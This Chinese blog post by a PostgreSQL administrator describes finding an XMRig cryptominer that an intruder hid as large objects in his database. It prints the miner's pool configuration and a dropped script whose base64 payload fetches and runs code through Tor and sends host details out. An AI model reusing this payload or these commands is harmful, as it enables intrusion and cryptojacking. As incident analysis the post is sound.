活久见,数据库里存病毒?
前言
今天下午在讲PGCE的时候,一位学员提了一个问题:"pg_dump -Fd dbname -j4 -f dump_dir,今天无意中发现有个 3116.dat.gz的文件"。因为我不常用Fd的格式,所以乍一看有点陌生。在后面摸索的过程中,居然发现了我的小破云主机被植入挖矿病毒,并且hacker十分狡猾将病毒存放在了数据库中!正所谓最危险的地方就是最安全的地方!一起看看这个有趣的案例 🤪🤪
现象
首先看一下"陌生"的pg_dump,因为个人习惯使然,我基本不用Fd的格式,日常都是使用Fp的格式,因为文本格式可以直接查看内容,也可以按需调整,最典型的例子就是实例迁移,但是用户名变了,导入的时候就会提示用户不存在,这个时候就可以直接sed一把梭全局替换就行了,十分便捷。
[postgres@xiongcc ~]$ pg_dump --help | grep -w 'format'
-F, --format=c|d|t|p output file format (custom, directory, tar,
plain-text format
-S, --superuser=NAME superuser user name to use in plain-text format
先看一下官网对于Fd的说明
Output a directory-format archive suitable for input into pg_restore. This will create a directory with one file for each table and blob being dumped, plus a so-called Table of Contents file describing the dumped objects in a machine-readable format that pg_restore can read. A directory format archive can be manipulated with standard Unix tools; for example, files in an uncompressed archive can be compressed with the gzip tool. This format is compressed by default and also supports parallel dumps.
每一个表对应一个文件,默认采用压缩,同时支持并行,目前也只有Fd支持并行,可能这便是Fd最大的优势了。pg_dump: error: parallel backup only supported by the directory format。
知晓了用法之后,我尝试复现了一下:pg_dump -Fd -j3 -d postgres -f mydump_dir,下面是导出的内容
[postgres@xiongcc ~]$ ll mydump_dir/
total 5276
-rw-rw-r-- 1 postgres postgres 25 May 29 17:33 3629.dat.gz
-rw-rw-r-- 1 postgres postgres 25 May 29 17:33 3630.dat.gz
-rw-rw-r-- 1 postgres postgres 25 May 29 17:33 3631.dat.gz
...
-rw-rw-r-- 1 postgres postgres 3725 May 29 17:33 blob_113650.dat.gz
-rw-rw-r-- 1 postgres postgres 900 May 29 17:33 blob_1468655.dat.gz
...
-rw-rw-r-- 1 postgres postgres 298 May 29 17:33 blobs.toc
-rw-rw-r-- 1 postgres postgres 24037 May 29 17:33 toc.dat
以数字开头的gz文件就是普通的数据导出文件,3634表示的dumpid,可以简单理解成内部导出这个文件的任务标识符。
[postgres@xiongcc mydump_dir]$ zmore 3634.dat.gz
------> 3634.dat.gz <------
1 test
2 test
3 test
4 test
5 test
6 test
7 test
...
那这个BLOB是什么鬼?后面经过摸索,原来这个BLOB正是大对象!PostgreSQL中的大对象存放于pg_largeobject系统表中,每个大对象都分解成足够小的小段或者"页面"以便以行的形式存储 在pg_largeobject里。每页的数据定义为 LOBLKSIZE(目前是BLCKSZ/4或者通常是2K字节),pg_largeobject的每一行保存一个大对象的一个页面,从该对象内部的字节 偏移(pageno * LOBLKSIZE)开始。
而pg_largeobject_metadata则是记录了这些大对象的元信息,那让我们查看一下
postgres=# select * from pg_largeobject_metadata ;
oid | lomowner | lomacl
---------+----------+--------
2921418 | 10 |
1468655 | 10 |
3770189 | 10 |
2438889 | 10 |
6331622 | 10 |
5209756 | 10 |
8210803 | 10 |
2974638 | 10 |
5057085 | 10 |
8723378 | 10 |
6295318 | 10 |
113650 | 10 |
(12 rows)
果然和导出的文件名对应上了!但是这台云主机上,我并没有导入过任何的大对象,为了一探究竟,让我们导出这些鬼玩意看一下是什么东西。写个简单的脚本全部导出
[postgres@xiongcc ~]$ cat dump_blob.sh
#!/bin/bash
for dmp_blob in `psql -Aqt -c 'select oid from pg_largeobject_metadata'`
do
psql -Aqt -c "select lo_export('$dmp_blob','/home/postgres/virus_$dmp_blob')"
done[postgres@xiongcc ~]$ ll virus_*
-rw-r--r-- 1 postgres postgres 17000 May 29 19:24 virus_113650
-rw-r--r-- 1 postgres postgres 2911 May 29 19:24 virus_1468655
-rw-r--r-- 1 postgres postgres 2363684 May 29 19:24 virus_2438889
-rw-r--r-- 1 postgres postgres 17200 May 29 19:24 virus_2921418
-rw-r--r-- 1 postgres postgres 2911 May 29 19:24 virus_2974638
-rw-r--r-- 1 postgres postgres 17000 May 29 19:24 virus_3770189
-rw-r--r-- 1 postgres postgres 17000 May 29 19:24 virus_5057085
-rw-r--r-- 1 postgres postgres 17000 May 29 19:24 virus_5209756
-rw-r--r-- 1 postgres postgres 17712 May 29 19:24 virus_6295318
-rw-r--r-- 1 postgres postgres 17712 May 29 19:24 virus_6331622
-rw-r--r-- 1 postgres postgres 17200 May 29 19:24 virus_8210803
-rw-r--r-- 1 postgres postgres 2363684 May 29 19:24 virus_8723378
[postgres@xiongcc ~]$ file virus_2438889
virus_2438889: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, stripped
可以看到这个文件是ELF,ELF 全称 Executable and Linkable Format,即可执行可链接文件格式。在 Linux 中,就是使用这种文件格式来存储一个可执行的应用程序,ELF包括可执行文件、可重定位文件(目标文件.o、静态库.a)、共享目标文件(动态库.so)、核心转储文件(core dump)等。
既然ELF分为这么多种,有必要再完善一下脚本获取一下ELF的详细信息
[postgres@xiongcc ~]$ cat dump_blob.sh
#!/bin/bashfor dmp_blob in `psql -Aqt -c 'select oid from pg_largeobject_metadata'`
do
psql -Aqt -c "select lo_export('$dmp_blob','/home/postgres/virus_$dmp_blob')"
dmp_info=`file /home/postgres/virus_$dmp_blob | cut -d ':' -f 2`
echo "$dmp_blob,$dmp_info" >> dmp_blob_info.txt
done
导出之后,看下是个什么玩意
[postgres@xiongcc ~]$ cat dmp_blob_info.txt
2921418, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=5c3537f38e624b8177a53a07ec9ca6012e2471db, for GNU/Linux 3.2.0, not stripped
1468655, ASCII text
3770189, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=e4ac9fc051f1f5f94f4d1ddc3978b8ae0cc177ba, for GNU/Linux 3.2.0, not stripped
2438889, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, stripped
6331622, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=612fb2e11ae607047a9176348e6cfaec75fbf981, for GNU/Linux 3.2.0, not stripped
5209756, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=cc86505e2000b420214edf696dcba573e206a01b, for GNU/Linux 3.2.0, not stripped
8210803, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=5c3537f38e624b8177a53a07ec9ca6012e2471db, for GNU/Linux 3.2.0, not stripped
2974638, ASCII text
5057085, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=e4ac9fc051f1f5f94f4d1ddc3978b8ae0cc177ba, for GNU/Linux 3.2.0, not stripped
8723378, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, stripped
6295318, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=612fb2e11ae607047a9176348e6cfaec75fbf981, for GNU/Linux 3.2.0, not stripped
113650, ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=cc86505e2000b420214edf696dcba573e206a01b, for GNU/Linux 3.2.0, not stripped
可以看到有一个纯文本文件,打开之后发现是json格式的文本,看样子像是配置文件,里面有一些关键的信息,比如URL:112.213.117.113:5926
[postgres@xiongcc ~]$ cat virus_1468655 | more
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"background": true,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"init-avx2": 0,
"mode": "auto",
"1gb-pages": false,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": true,
"yield": true,
"asm": true,
"argon2-impl": null,
"astrobwt-max-size": 550,
"astrobwt-avx2": false,
"argon2": [0, 2, 4, 6, 5, 7],
"astrobwt": [0, 1, 2, 3, 4, 5, 6, 7],
"cn": [
[1, 0],
[1, 2],
[1, 4]
],
"cn-heavy": [
[1, 0],
[1, 2]
],
"cn-lite": [
[1, 0],
[1, 2],
[1, 4],
[1, 6],
[1, 5],
[1, 7]
],
"cn-pico": [
[2, 0],
[2, 1],
[2, 2],
[2, 3],
[2, 4],
[2, 5],
[2, 6],
[2, 7]
],
"cn/gpu": [0, 1, 2, 3, 4, 5, 6, 7],
"cn/upx2": [
[2, 0],
[2, 1],
[2, 2],
[2, 3],
[2, 4],
[2, 5],
[2, 6],
[2, 7]
],
"panthera": [0, 2, 4, 6],
"rx": [0, 2, 4],
"rx/arq": [0, 1, 2, 3, 4, 5, 6, 7],
"rx/wow": [0, 2, 4, 6, 5, 7],
"cn/0": false,
"cn-lite/0": false,
"rx/keva": "rx/wow"
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn/0": false,
"cn-lite/0": false,
"panthera": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false,
"astrobwt": false,
"panthera": false
},
"log-file": null,
"donate-level": 1,
"donate-over-proxy": 1,
"pools": [
{
"algo": null,
"coin": null,
"url": "112.213.117.113:5926",
"user": "112.213.117.113:5926",
"pass": "ppp",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
}
],
"retries": 5,
"retry-pause": 5,
"print-time": 60,
"health-print-time": 60,
"dmi": true,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": "cert.pem",
"cert_key": "cert_key.pem",
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"dns": {
"ipv6": false,
"ttl": 30
},
"user-agent": null,
"verbose": 0,
"watch": true,
"rebench-algo": false,
"bench-algo-time": 20,
"algo-perf": {},
"pause-on-battery": false,
"pause-on-active": false
}
其他的则是一些可执行文件,都到这一步了,不妨加上可执行权限跑一下看看到底是何方妖孽
[postgres@xiongcc ~]$ chmod +x virus_2438889
[postgres@xiongcc ~]$ ./virus_2438889
[2022-05-29 19:44:04.713] unable to open "/home/postgres/config.json".
[2022-05-29 19:44:04.713] unable to open "/home/postgres/.xmrig.json".
[2022-05-29 19:44:04.713] unable to open "/home/postgres/.config/xmrig.json".
[2022-05-29 19:44:04.713] no valid configuration found, try https://xmrig.com/wizard
居然要找一个json的配置文件?莫非是刚刚前面那个文件?试试看
[postgres@xiongcc ~]$ cp virus_1468655 config.json
[postgres@xiongcc ~]$ ./virus_2438889
居然running起来了,并且top可以看到这个进程
[postgres@xiongcc ~]$ ps -ef | grep virus
postgres 24395 1 99 19:45 ? 00:00:51 ./virus_2438889
postgres 24474 19269 0 19:46 pts/5 00:00:00 grep --color=auto virus[postgres@xiongcc ~]$ top -p 24395
top - 19:46:24 up 152 days, 9:33, 2 users, load average: 2.91, 2.64, 2.21
Tasks: 1 total, 0 running, 1 sleeping, 0 stopped, 0 zombie
%Cpu(s):100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1883356 total, 331412 free, 192644 used, 1359300 buff/cache
KiB Swap: 4194300 total, 4124732 free, 69568 used. 1068492 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
24395 postgres 20 0 39812 18628 4 S 99.9 1.0 0:41.59 ./virus_2438889
我去,我的CPU一下子就到了99.9%!小破云主机瞬间卡爆了... 同时这个程序还生成了下面这个文件
[postgres@xiongcc ~]$ cat .systemd-private-exxF58cF5HCJzXJryYKRWfPS1sMePNHa.sh
#!/bin/bash
exec &>/dev/null
echo exxF58cF5HCJzXJryYKRWfPS1sMePNHa
echo ZXh4RjU4Y0Y1SENKelhKcnlZS1JXZlBTMXNNZVBOSGEKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAicDdmZnVqYmM2NWh6dXpyZ3R4eHZ0dXgyZTR3eHRiNzN0d2dyYXJjb2cydW16dmNwbXc0cWtyeWQiKQoKc29ja3ooKSB7Cm49KGRucy50d25pYy50dyBkb2gtY2guYmxhaGRucy5jb20gZG9oLWRlLmJsYWhkbnMuY29tIGRvaC1maS5ibGFoZG5zLmNvbSBkb2gtanAuYmxhaGRucy5jb20gZG9oLmxpIGRvaC5wdWIgZG9oLXNnLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgaHlkcmEucGxhbjktbnMxLmNvbSkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnE9JHtuWyQoKFJBTkRPTSUkeyNuW0BdfSkpXX0Kcz0kKCRjIGh0dHBzOi8vJHEvJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8dGFpbCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash
可以看到这是一串经过base64加密的脚本,解密一下
十分明朗,脚本内容还是很清晰的,先从网上下载病毒文件,然后加入到定时任务中
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
百度搜了一下,这个病毒正是大名鼎鼎的tor2web。可以参照这两篇帖子:https://zhuanlan.zhihu.com/p/130707601、https://www.freebuf.com/articles/web/279000.html
至此明了了,入侵者入侵了我这台小破云主机,并且居然还会用PostgreSQL的大对象将病毒文件导入到了数据库中,真是牛逼plus啊,迫不及待,用vacuumlo清理一下这些病毒。
不过话说话来,或许这是一名强大的精通多种主流数据库的hacker...甚是想认识一下
小结
不得不说,入侵者还是很鸡贼的,居然将病毒导入到了数据库中,而且是生疏的大对象操作,佩服佩服,我自认为很熟PostgreSQL了,万万没想到,居然选择导入到了数据库里,目瞪口呆目瞪口呆。所以云主机还是有必要定期调整ssh密码、网络安全组等,说不定哪天你就发现你的数据库里存放了一堆行走的挖矿病毒 😂
参考
https://github.com/tor2web/Tor2web
https://www.freebuf.com/articles/web/279000.html
https://zhuanlan.zhihu.com/p/130707601